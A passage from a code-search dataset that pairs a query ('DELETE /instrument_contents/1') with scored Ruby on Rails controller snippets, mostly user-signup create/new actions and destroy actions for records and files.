redirect_to notify_path, notice: \"Your account has been created. However, you must verify your account with an administrator to complete activation. You may do so by connecting to <span class='highlight'>petyard.net</span> in Minecraft.<br /><br /><a href='#{user_path(@user)}'>Continue to your profile</a>\" }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70510e661096794ea2edb8924a2eefa3", "score": "0.64069134", "text": "def create\n # When a http POST request to '/users' is received from the form rendered in\n # '/users/new', have it create a user with the information from the input field.\n # After creating the user, redirect to the '/users' route.\n @user = User.create(params[:user])\n redirect_to action: \"index\"\n end", "title": "" }, { "docid": "3cca2b1eb804829b7de927708486b95e", "score": "0.6406742", "text": "def new\n if logged_in?\n redirect_to user_path(current_user) # Redirect to user show page if logged in\n else \n @user = User.new # Stub a new user\n render layout: 'welcome' # Render sign up form with welcome layout\n end \n end", "title": "" }, { "docid": "545285de2e44918387876bb1e693d009", "score": "0.6403809", "text": "def create\n @user = User.new(user_params)\n # TODO do we need this? once we seed fresh the ids should automatically increment properly\n @user.id = User.maximum(:id).next\n\n @user.profile_picture = File.open(File.join(Rails.root, '/app/assets/images/no_photo.jpg'))\n @user.bio = '';\n\n respond_to do |format|\n if @user.save\n session[:user_id] = @user.id\n flash[:alert] = \"Welcome! Please fill in your interests so we can get started.\"\n\n # redirect to edit user path so they can input their interests\n format.html { redirect_to edit_user_path(@user.id) }\n format.json { render json: @user, status: :created, location: @user }\n else\n flash[:alert] = @user.errors.full_messages.to_s # TODO incorporate this into page\n format.html { redirect_to new_user_path }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "621ba75f1df822a465308eaf93d652f6", "score": "0.64021564", "text": "def create\n hobo_create do\n if valid?\n self.current_user = this\n flash[:notice] = t(\"hobo.messages.you_are_site_admin\", :default=>\"You are now the site administrator\")\n redirect_to home_page\n end\n end\n end", "title": "" }, { "docid": "621ba75f1df822a465308eaf93d652f6", "score": "0.64021564", "text": "def create\n hobo_create do\n if valid?\n self.current_user = this\n flash[:notice] = t(\"hobo.messages.you_are_site_admin\", :default=>\"You are now the site administrator\")\n redirect_to home_page\n end\n end\n end", "title": "" }, { "docid": "4ab236de3b06dea022c435dc50a9183b", "score": "0.64005315", "text": "def create\n\t\t@path = [link_to_signup]\n\t\t@subnavigation = []\n\n cookies.delete :auth_token\n # protects against session fixation attacks, wreaks havoc with \n # request forgery protection.\n # uncomment at your own risk\n # reset_session\n\n @user = User.new(params[:user])\n\t\n\t\t# for the user details\n\t\t@user_detail = UserDetail.new(params[:user_detail])\n\t\t\n\t\t@user.user_detail = @user_detail\n\t\t\n\t\t# what will be the login name be\n\t\tif params[:last_name_check] == \"1\"\n\t\t\t@user.login = @user_detail.last_name\n\t\telse\n\t\t\t@user.login = @user_detail.first_name + \" \" + @user_detail.last_name\n\t\tend\n\n\n\t\tvalid1 = @user.valid?\n\t\tvalid2 = @user_detail.valid?\n\n\t\tif valid1 && valid2\n\t\t\t@user.save!\n\t\n\t\t\t@user_detail.save!\n\t\t\n self.current_user = @user\n redirect_back_or_default('/')\n flash[:notice] = \"Thanks for signing up!\"\n else\n render :action => 'new'\n end\n end", "title": "" }, { "docid": "adfa4a4ef23567f7c403ec8152896e7e", "score": "0.6399083", "text": "def create\n @user = User.new(params[:user])\n ### Add the creator of the object (in this case User) into our record\n @user.creator = current_user\n ### Save the user roles when saving the user\n #@user.save do |result|\n @user.save && check_and_set_role do |result|\n respond_to do |format|\n if result\n flash[:notice] = \"User #{@user.username} was successfully registered.\"\n# @user.has_role!(:patient) # Add default group for user\n format.html { redirect_to(@user) } # redirect_to root_url\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "971b358bcbcaf11d7224ca7a58fd3ded", "score": "0.63990575", "text": "def new\n @title=\"Sign Up\"\n @user = User.new\n end", "title": "" }, { "docid": "5466187cdd1813a55e5e35eab2889b7e", "score": "0.6397815", "text": "def new\n @script='users/new' \n end", "title": "" }, { "docid": "217836183b2fa5efe8dd0913d2462007", "score": "0.6397661", "text": "def create\n @user = params[:user] ? User.new(params[:user]) : User.new_guest\n if @user.save\n flash[:notice] = \"Your account was created successfully.\"\n current.user.move_to(@user) if current.user && current.user.guest?\n session[:user_id] = @user.id\n redirect_to root_path\n else\n render \"new\"\n flash[:notice] = \"There was a problem creating your account.\"\n end\n after_create :set_admin \n end", "title": "" } ]
54a6eabe16e0d673ee0e91b99e521c61
DELETE /instrument_contents/1 DELETE /instrument_contents/1.xml
[ { "docid": "2a0ce8215f90a5a7625d199dc3ef34cf", "score": "0.7112879", "text": "def destroy_rest\n @instrument_content = InstrumentContent.find(params[:id])\n @instrument_content.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_contents_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
[ { "docid": "4a5fc57096d22157105707144167bcfb", "score": "0.66446805", "text": "def destroy_rest\n @instrument = Instrument.find(params[:id])\n @instrument.destroy\n\n respond_to do |format|\n format.html { redirect_to(instruments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cd3c286ab3fc1613b4cc46f916f13c07", "score": "0.65295386", "text": "def destroy\n @instrumento = Instrumento.find(params[:id])\n @instrumento.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "b308526d187160fa3d801deaa6266c99", "score": "0.650256", "text": "def destroy\n authorize! :manage, Instrument\n \n Measurement.delete_all \"instrument_id = #{@instrument.id}\"\n @instrument.destroy\n respond_to do |format|\n format.html { redirect_to instruments_url, notice: 'Instrument was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d5d934d23f998c6240f4d1b3cbdf140d", "score": "0.6457071", "text": "def destroy\n @track.xml_attachements.each do |xml|\n xml.uploaded_file.file.delete\n end\n @track.destroy\n respond_to do |format|\n format.html { redirect_to tracks_url, notice: 'Le tracé à été supprimé avec succès.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "41377e0cfc34702733b402d9c44c730a", "score": "0.642746", "text": "def destroy\n @instrument = Instrument.find(params[:id])\n @instrument.destroy\n\n respond_to do |format|\n format.html { redirect_to instruments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bcaf654aa5ecb90266bd8605754c8861", "score": "0.64029807", "text": "def destroy\n @instrument.destroy\n respond_to do |format|\n format.html { redirect_to instruments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8f4efbd173b0e24db059b26603b48858", "score": "0.63971376", "text": "def destroy\n @v1_instrument_session = V1InstrumentSession.find(params[:id])\n @v1_instrument_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_instrument_sessions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4a81774596b4e6ba92a17367817d86f9", "score": "0.6385285", "text": "def delete_record(asset)\n post(\"metadata.delete\", self.class.xml_doc.request { |r|\n r.uuid asset.uuid\n }) rescue nil # Geonetwork 500's if the record doesn't exist...\n end", "title": "" }, { "docid": "c337e46c002a19366c134c8593f718c2", "score": "0.63819784", "text": "def destroy\n @instrument.destroy\n respond_to do |format|\n format.html { redirect_to admin_instruments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ea72c42919211543ae069a0104fe5d60", "score": "0.6349534", "text": "def destroy\n @instrument.destroy\n respond_to do |format|\n format.html { redirect_to instruments_url, notice: 'Instrumento fue eliminado de forma exitosa.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b9d1a5dc5c944dfdef016c342183e812", "score": "0.633451", "text": "def destroy\n @scrap_xml = ScrapXml.find(params[:id])\n @scrap_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(scrap_xmls_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4cdb9b9b0850b760a2d06bbf27d92de7", "score": "0.6284137", "text": "def destroy\n @instrument.destroy\n end", "title": "" }, { "docid": "ba61d14f78c296c08438fa7eb1cf7a89", "score": "0.6273689", "text": "def delete_sample\n @sample = Sample.find(params[:sample_id])\n logger.debug \"Sample is #{@sample.to_yaml}\"\n @manifestation = Manifestation.find(params[:id])\n @dom_id = generate_id(@sample)\n # @manifestation.samples.delete(@sample)\n # @manifestation.save\n logger.debug \"**** DELETING SAMPLE #{@dom_id} ****\"\n @sample.destroy\n logger.debug \"**** /DELETING SAMPLE ****\"\n end", "title": "" }, { "docid": "4a961be37995270c36418e2bdea1de20", "score": "0.6271578", "text": "def destroy\n @xdet = Xdet.find(params[:id])\n @xdet.destroy\n\n respond_to do |format|\n format.html { redirect_to(xdets_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "df26116eb86dbadafed7137f9e3c2f9e", "score": "0.62674665", "text": "def delete!\r\n return nil unless exists? \r\n xml = xml_at_top\r\n par = xml.instance_variable_get(:@parent) \r\n par['delete'] = 'delete'\r\n xml_on_delete( xml )\r\n rsp = write_xml_config!( xml.doc.root )\r\n @has[:_exist] = false\r\n true # rsp ... don't return XML, but let's hear from the community...\r\n end", "title": "" }, { "docid": "08e7f5a40ad5b4bf3f4ce297537a2994", "score": "0.62454844", "text": "def delete(x) \r\n\r\n if x.to_i.to_s == x.to_s and x[/[0-9]/] then\r\n @doc.root.delete(\"records/*[@id='#{x}']\")\r\n else\r\n @doc.delete x\r\n end\r\n @dirty_flag = true\r\n self\r\n end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.62320083", "text": "def delete(path);end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.62320083", "text": "def delete(path);end", "title": "" }, { "docid": "fdb5222e60f67418931a74e6eb7c9a1d", "score": "0.6223719", "text": "def delete\n GoodData.delete(uri)\n end", "title": "" }, { "docid": "b965aa2e76649b84623ed925811f4794", "score": "0.617354", "text": "def delete(_path)\n end", "title": "" }, { "docid": "d516965f227204f7805d72fea07c4545", "score": "0.6167717", "text": "def destroy\n @data_file = @experiment.data_files.find(params[:id])\n @data_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(experiment_data_files_path(@experiment)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "00c5f7b24e1891f85e5dcdccc458e873", "score": "0.61583245", "text": "def destroy\n @instrumento = Instrumento.find(params[:id])\n @instrumento.destroy\n\n respond_to do |format|\n format.html { redirect_to instrumentos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0661ff25d0ad9c36635b228e8f772e3b", "score": "0.6146624", "text": "def destroy\n @telemetry = Telemetry.find(params[:id])\n #path = \"telemetries/IXV/#{@telemetry.database.version}/#{@telemetry.name}_#{@telemetry.version}\"\n delete = %x[rm -R #{@telemetry.path}]\n @telemetry.destroy\n respond_to do |format|\n format.html { redirect_to telemetries_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fa434c603aef770326d3bcfb13e2a884", "score": "0.61462265", "text": "def destroy\n puts \"delete --\" * 10\n result = access_token.delete(\"/api/v1/file_assets/#{params[:id]}\")\n\n display_api_response( result )\n \n respond_to do |format|\n format.html { redirect_to(file_assets_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "40c19081824a1c044d25696f6ae3fee4", "score": "0.6140137", "text": "def destroy\n @transaction_xml = Transaction::Xml.find(params[:id])\n @transaction_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_xmls_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8acebc830f921515b056bbab309e71a5", "score": "0.61234325", "text": "def delete_instrument(instr)\n if check_instr(instr)\n @conn.exec(\"DELETE FROM instruments WHERE intr_id = '#{instr}'\")\n return true\n end\n false\n end", "title": "" }, { "docid": "f88c258807cc180c180a3313221b2221", "score": "0.61209476", "text": "def destroy\n @instrument.destroy\n respond_to do |format|\n format.html { redirect_to instruments_url, notice: 'Instrument was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f88c258807cc180c180a3313221b2221", "score": "0.61209476", "text": "def destroy\n @instrument.destroy\n respond_to do |format|\n format.html { redirect_to instruments_url, notice: 'Instrument was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "630ec871b800c96835931a72c28edd60", "score": "0.61113906", "text": "def destroy\n @examanalysis = Examanalysis.find(params[:id])\n @examanalysis.destroy\n\n respond_to do |format|\n format.html { redirect_to(examanalyses_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "aa8aed0256df0b3c7d25b840f4205138", "score": "0.6110363", "text": "def delete(file, eadid)\n if file.blank?\n raise ArgumentError.new(\"Expecting #{file} to be a file or directory\")\n end\n if /\\.xml$/.match(file).present?\n # If eadid was passed in, use it to delete\n # it not, make a guess based on filename\n id = (eadid || File.basename(file).split(\"\\.\")[0])\n begin\n indexer.delete(id)\n record_success(\"Deleted #{file} with id #{id}.\", { action: 'delete' })\n rescue StandardError => e\n record_failure(\"Failed to delete #{file} with id #{id}: #{e}\", { action: 'delete', ead: file })\n raise e\n end\n else\n record_failure(\"Failed to delete #{file}: not an XML file.\", { action: 'delete', ead: file })\n end\n end", "title": "" }, { "docid": "e4395e60249aec3eb81ff359efe42e29", "score": "0.6108168", "text": "def delete_one(file)\n delete(file.id)\n end", "title": "" }, { "docid": "a44bb4d594a0b61c0dc3499456a4576b", "score": "0.609533", "text": "def destroy\n @v1_data_element = V1DataElement.find(params[:id])\n @v1_data_element.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_data_elements_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d3f4eff831fd37e2d1935f4b7b809717", "score": "0.6084558", "text": "def destroy\n @measurement = Measurement.find(params[:id])\n @measurement.destroy\n\n respond_to do |format|\n format.html { redirect_to(measurements_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "72b20a36d4998c8fd556fa6c9753c09e", "score": "0.6063726", "text": "def destroy\n @report_structure = ReportStructure.find(params[:id])\n @report_structure.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_structures_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f938993806593a1c9265db74a5e18bd2", "score": "0.60573596", "text": "def delete_paymentinstrument(paymentinstrument_id) \n hmac_header = add_hmac_header_delete(paymentinstrument_id)\n merged_headers = headers.merge(hmac_header)\n\n response = ssl_request(:delete, get_url(\"paymentinstrument\") + \"/\" + paymentinstrument_id, \"\", merged_headers)\n\n Response.new(\n response,\n authorization: authorization_from(response),\n ) \n end", "title": "" }, { "docid": "fc0709d2063fc5eb7c6cfa33a56885c5", "score": "0.6054582", "text": "def destroy\n @xfile = Xfile.find(params[:id])\n @xfile.destroy\n\n respond_to do |format|\n format.html { redirect_to xfiles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "200174ca3a03c836d2576f67ffb934a6", "score": "0.6050462", "text": "def delete(filename)\n\n end", "title": "" }, { "docid": "18664b7fd6224ec4fc2b0acd872a8382", "score": "0.6038817", "text": "def delete_contents(contents)\n contents = [contents].compact unless contents.is_a? Array\n count = contents.size\n (0..((count - 1) / 100)).each do |i|\n start = i * 100\n cnt = start + 100 < count ? 100 : count - start\n param = contents[start, cnt].map { |c| c['uri'] }\n deleteContent [{'uri' => param}]\n end\n log.info \"Deleted #{contents.size} contents.\"\n end", "title": "" }, { "docid": "1ec5a7e293f6d644aaf81d4a811e5f2e", "score": "0.602955", "text": "def destroy\n @otml_file = OtrunkExample::OtmlFile.find(params[:id])\n @otml_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(otrunk_example_otml_files_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "51e124cc65aee5ae7a48babea43389aa", "score": "0.60266197", "text": "def delete_document(xml_document)\n ead_id = xml_document.xpath(\"//eadid\").first.text.strip.tr(\".\", \"-\")\n blacklight_connection.delete_by_id(ead_id)\n end", "title": "" }, { "docid": "0a310335bab128153fb893aff4799920", "score": "0.60265124", "text": "def destroy\n @si_inventory_content = SiInventoryContent.find(params[:id])\n @si_inventory_content.destroy\n\n respond_to do |format|\n format.html { redirect_to(si_inventory_contents_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2824bb383f87f36523130e4011077951", "score": "0.60207117", "text": "def destroy\n @measure = Measure.find(params[:id])\n @measure.destroy\n\n respond_to do |format|\n format.html { redirect_to(measures_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6f9d891e9cd7f2f726f571cdca889fe5", "score": "0.6008774", "text": "def destroy\n @simdown = Simdown.find(params[:id])\n @simdown.destroy\n\n respond_to do |format|\n format.html { redirect_to(simdowns_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3feaeabdf61312a33502b61af2c19927", "score": "0.6005767", "text": "def destroy\n @assertion = Assertion.find(params[:id])\n @assertion.destroy\n\n respond_to do |format|\n format.html { redirect_to(assertions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19437e53bf9a4b0fd25f18a431100b17", "score": "0.59970665", "text": "def destroy_rest\n @instrument_session = InstrumentSession.find(params[:id])\n @instrument_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_sessions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6e118a52a44c697e7fc22c8c08fa262b", "score": "0.5994397", "text": "def destroy\n @testcase = Testcase.find(params[:id])\n TestcaseXref.delete_all(\"from_testcase_id=\"+params[:id]+\" || to_testcase_id=\"+params[:id])\n UserTestcaseXref.delete_all(\"testcase_id=\"+params[:id])\n TestcaseBugXref.delete_all(\"testcase_id=\"+params[:id])\n @testcase.destroy\n\n respond_to do |format|\n format.html { redirect_to(testcases_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4e1a78c56462e1dc9842f50aef0d0ab1", "score": "0.5988384", "text": "def destroy\n @musical_instrument.destroy\n respond_to do |format|\n format.html { redirect_to musical_instruments_url, notice: 'Instrumento Musical excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b48964cea92fc9b8949055d047b4126d", "score": "0.59860533", "text": "def destroy\n @expectation = Expectation.find(params[:id])\n @expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to(expectations_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9cf528036399e526d7a5c6641a6525fc", "score": "0.5983768", "text": "def delete_archive (archive_id)\n archive = OTSDK.archives.find(archive_id).delete\nend", "title": "" }, { "docid": "b6977710b4d657b143d7a67068411229", "score": "0.59761494", "text": "def destroy\n @adipocyte = Adipocyte.find(params[:id])\n @adipocyte.destroy\n\n respond_to do |format|\n format.html { redirect_to(adipocytes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f059b33e00113211ba3856b47e713c56", "score": "0.597213", "text": "def destroy\n @xml_file_download = XmlFileDownload.find(params[:id])\n notice = 'Xml file was successfully deleted.'\n\n @xml_file_download.destroy\n\n respond_to do |format|\n format.html { redirect_to(xml_file_downloads_url :notice => notice) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4f08f2ec294215cb59ebbf55fbb377f5", "score": "0.5971689", "text": "def destroy \n @qx.destroy\n respond_to do |format|\n format.html { redirect_to(qxes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9853247fc05b4d8325cb6e7a0ee033ca", "score": "0.59677076", "text": "def destroy\n @testcase_bug_xref = TestcaseBugXref.find(params[:id])\n @testcase_bug_xref.destroy\n\n respond_to do |format|\n format.html { redirect_to(testcase_bug_xrefs_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a315a938f9fd72b5c5d4a5fdb2df2d89", "score": "0.5966869", "text": "def destroy\n @invoice_markup_line = InvoiceMarkupLine.find(params[:id])\n @invoice_markup_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoice_markup_lines_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a7a293210242a1290afb3c986e1c2211", "score": "0.5965892", "text": "def delete!\n CouchDB.delete( uri )\n end", "title": "" }, { "docid": "a7a293210242a1290afb3c986e1c2211", "score": "0.5965892", "text": "def delete!\n CouchDB.delete( uri )\n end", "title": "" }, { "docid": "743ff4b164cf9d3339345057900960c3", "score": "0.5957085", "text": "def destroy\n #@xmlstore = Xmlstore.find(params[:id])\n @xmlstore = Xmlstore.find_by_quote_id(params[:quote_id])\n @xmlstore.destroy\n\n respond_to do |format|\n format.html { redirect_to(xmlstores_url) }\n format.xml { render :xml => @quote }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "title": "" }, { "docid": "298a195478f7cf8b2ab96020d8c0f9ce", "score": "0.5949366", "text": "def destroy\n connection = self.send(:connection)\n # deletes the attachment by removing .xml at the end\n connection.delete(self.send(:element_path).gsub(/\\.xml\\z/, ''))\n end", "title": "" }, { "docid": "2be3d65bdced7e6f179fe8dc906e2bad", "score": "0.59411854", "text": "def destroy\n @stuprofile = Stuprofile.find(params[:id])\n @stuprofile.destroy\n\n respond_to do |format|\n format.html { redirect_to(stuprofiles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ad6f3cbd9076b89b3e73c565fc17a511", "score": "0.5940881", "text": "def destroy\n @measure.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.59365565", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.59365565", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.59365565", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.59365565", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.59365565", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.59365565", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.59365565", "text": "def delete; end", "title": "" }, { "docid": "efc4f37211461f8a21753fe250ce5f7d", "score": "0.593422", "text": "def destroy\n @estimate = Estimate.find(params[:id])\n @estimate.destroy\n\n respond_to do |format|\n format.html { redirect_to(estimates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "492933aa37cad2da11537bef3b867ca3", "score": "0.59316736", "text": "def destroy\n @assembly_file = AssemblyFile.find(params[:id])\n @assembly_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(assembly_files_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "361006fa01b882a7a187b12fe163c7ad", "score": "0.59266084", "text": "def destroy\n @pdu = Pdu.find(params[:id])\n @pdu.asset.destroy\n @pdu.destroy\n\n respond_to do |format|\n format.html { redirect_to(pdus_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "445a1684f61b31c4b681cd4ed2f1ab60", "score": "0.5924883", "text": "def destroy\n @instrumento.destroy\n respond_to do |format|\n format.html { redirect_to instrumentos_url, notice: 'Instrumento was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eb3f3bc48cae6d41d453fa5447c9c701", "score": "0.59223074", "text": "def destroy\n @report_request = ReportRequest.find(params[:id])\n @report_request.purge\n @report_request.destroy\n\n respond_to do |format|\n format.html # destroy.html.erb\n if @report_request.errors.empty?\n format.xml { head :ok }\n else\n format.xml { render :xml => @report_request.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b40ab2f7bb1a5782e191788647fd5f39", "score": "0.5920388", "text": "def delete\n shrine_class.instrument(:delete, {\n storage: storage_key,\n location: id,\n }) { super }\n end", "title": "" }, { "docid": "bf27bbc9972394debddcf527fa64644e", "score": "0.59137577", "text": "def destroy\n @data_file = DataFile.find(params[:id])\n @data_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_files_path) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "87dfb6ead368860bc66a37dc5b849b91", "score": "0.5909619", "text": "def destroy\n @baseline = Baseline.find(params[:id])\n @baseline.destroy\n\n respond_to do |format|\n format.html { redirect_to(baselines_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c705ad045ef7cc340bf9b48842b46d03", "score": "0.5901676", "text": "def destroy\n invoice_id = params[:invoice_id]\n Invoiceitem.destroy_all(:invoice_id => invoice_id)\n @invoice = Invoice.find(invoice_id)\n respond_to do |format|\n format.html { redirect_to(invoice_path(@invoice)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c4539c3c9df5f6a1b396801f56699668", "score": "0.589902", "text": "def destroy\n @measure_unit = MeasureUnit.find(params[:id])\n @measure_unit.destroy\n\n respond_to do |format|\n format.html { redirect_to(measure_units_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "820735b3c608fc2c2690501618380bfc", "score": "0.5897782", "text": "def destroy\n @subrack = Subrack.find(params[:id])\n @subrack.destroy\n\n respond_to do |format|\n format.html { redirect_to(subracks_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3719da177f696e81a9303d230686e069", "score": "0.5895672", "text": "def destroy\n @macro_indicator = MacroIndicator.find(params[:id])\n @macro_indicator.destroy\n\n respond_to do |format|\n format.html { redirect_to(macro_indicators_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "85a8f9f4a78375cdf794cb10cde5ced4", "score": "0.58911973", "text": "def delete(name)\r\n id = name_to_id(name)\r\n self.class.delete(\"/cards/#{id}.xml\")\r\n end", "title": "" }, { "docid": "def533d74c7d238c31babcdca81fea2e", "score": "0.5890735", "text": "def destroy\n# if !signed_in_and_master?\n# flash[:notice] = \"Sorry. Only technical manager can delete data. Please, contact Roberto SPURIO to do it.\"\n# redirect_to water_types_path\n# else\n\n @title = \"Micro array analysis file\"\n\n @micro_array_analysis_file = MicroArrayAnalysisFile.find(params[:id])\n @micro_array_analysis_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(micro_array_analysis_files_url) }\n format.xml { head :ok }\n end\n# end\n end", "title": "" }, { "docid": "390e8e2ce3ebccf61cd00f177342fb05", "score": "0.58873343", "text": "def delete(path, &block) end", "title": "" }, { "docid": "390e8e2ce3ebccf61cd00f177342fb05", "score": "0.58873343", "text": "def delete(path, &block) end", "title": "" }, { "docid": "28dc785cac54f308e9058ad8af52f4cc", "score": "0.58867705", "text": "def destroy\n @data_file = DataFile.find(params[:id])\n @data_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_files_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "39f4272d66766e9345aa9f7452cd0f88", "score": "0.5885149", "text": "def delete(uri)\n store\n\n @store.delete(uri)\n end", "title": "" }, { "docid": "d8db5b5ce312fd7669106f026366c795", "score": "0.5878044", "text": "def destroy\n @dump = Dump.find(params[:id])\n @dump.destroy\n\n respond_to do |format|\n format.html { redirect_to(dumps_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "26c037a03173e7753de512ebec20d747", "score": "0.58742094", "text": "def destroy\n @measurement_type = MeasurementType.find(params[:id])\n @measurement_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(measurement_types_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5a3e81a93f8a3deb6d7a0e9efdf65a20", "score": "0.58728796", "text": "def rm(file_name)\n p text_path = File.join(@l_dir,'text',file_name)\n p attach_path = File.join(@l_dir,'cache/attach',file_name)\n begin\n File.delete(text_path)\n rescue => evar\n puts evar.to_s\n end\n begin\n Dir.rmdir(attach_path)\n rescue => evar\n puts evar.to_s\n end\n\n info=InfoDB.new(@l_dir)\n p \"delete \"\n del_file=info.delete(file_name)\n info.show_link(file_name)\n info.dump\n end", "title": "" }, { "docid": "fa12ffef09a55f9a4ae57f3a2d5c1b51", "score": "0.5871053", "text": "def destroy_measurement\n @file = Asset.find(params[:id]) rescue nil\n if @file\n @file.destroy\n respond_to do |format|\n format.html { redirect_to measurements_files_url(job_id: @file.owner_id), notice: 'Measurement was successfully destroyed.' }\n format.json { render json: {status: \"Ok\", message: \"Successfully delete file.\"}, status: :ok}\n end\n else\n respond_to do |format|\n format.html { redirect_to measurements_files_url, notice: 'Measurement not found.' }\n format.json { render json: {status: \"404\", message: \"Measurement not found.\"}, status: :not_found}\n end\n end\n end", "title": "" }, { "docid": "9d0e7a2a30178e70867c998fd26c03e4", "score": "0.58705586", "text": "def snapshot_delete(id, drv_message)\n xml_data = decode(drv_message)\n\n host = xml_data.elements['HOST'].text\n deploy_id = xml_data.elements['DEPLOY_ID'].text\n\n snap_id_xpath = \"VM/TEMPLATE/SNAPSHOT[ACTIVE='YES']/HYPERVISOR_ID\"\n snapshot_name = xml_data.elements[snap_id_xpath].text\n\n do_action(\"#{deploy_id} #{snapshot_name}\",\n id,\n host,\n ACTION[:snapshot_delete],\n :script_name => 'snapshot_delete',\n :stdin => xml_data.to_s)\n end", "title": "" }, { "docid": "5d828e7d5be5d25d9d1b1f4fd8414a9b", "score": "0.5869711", "text": "def destroy\n @taxinvoice = Taxinvoice.find(params[:id])\n @taxinvoice.destroy\n\n respond_to do |format|\n format.html { redirect_to(taxinvoices_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5d828e7d5be5d25d9d1b1f4fd8414a9b", "score": "0.5869711", "text": "def destroy\n @taxinvoice = Taxinvoice.find(params[:id])\n @taxinvoice.destroy\n\n respond_to do |format|\n format.html { redirect_to(taxinvoices_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": 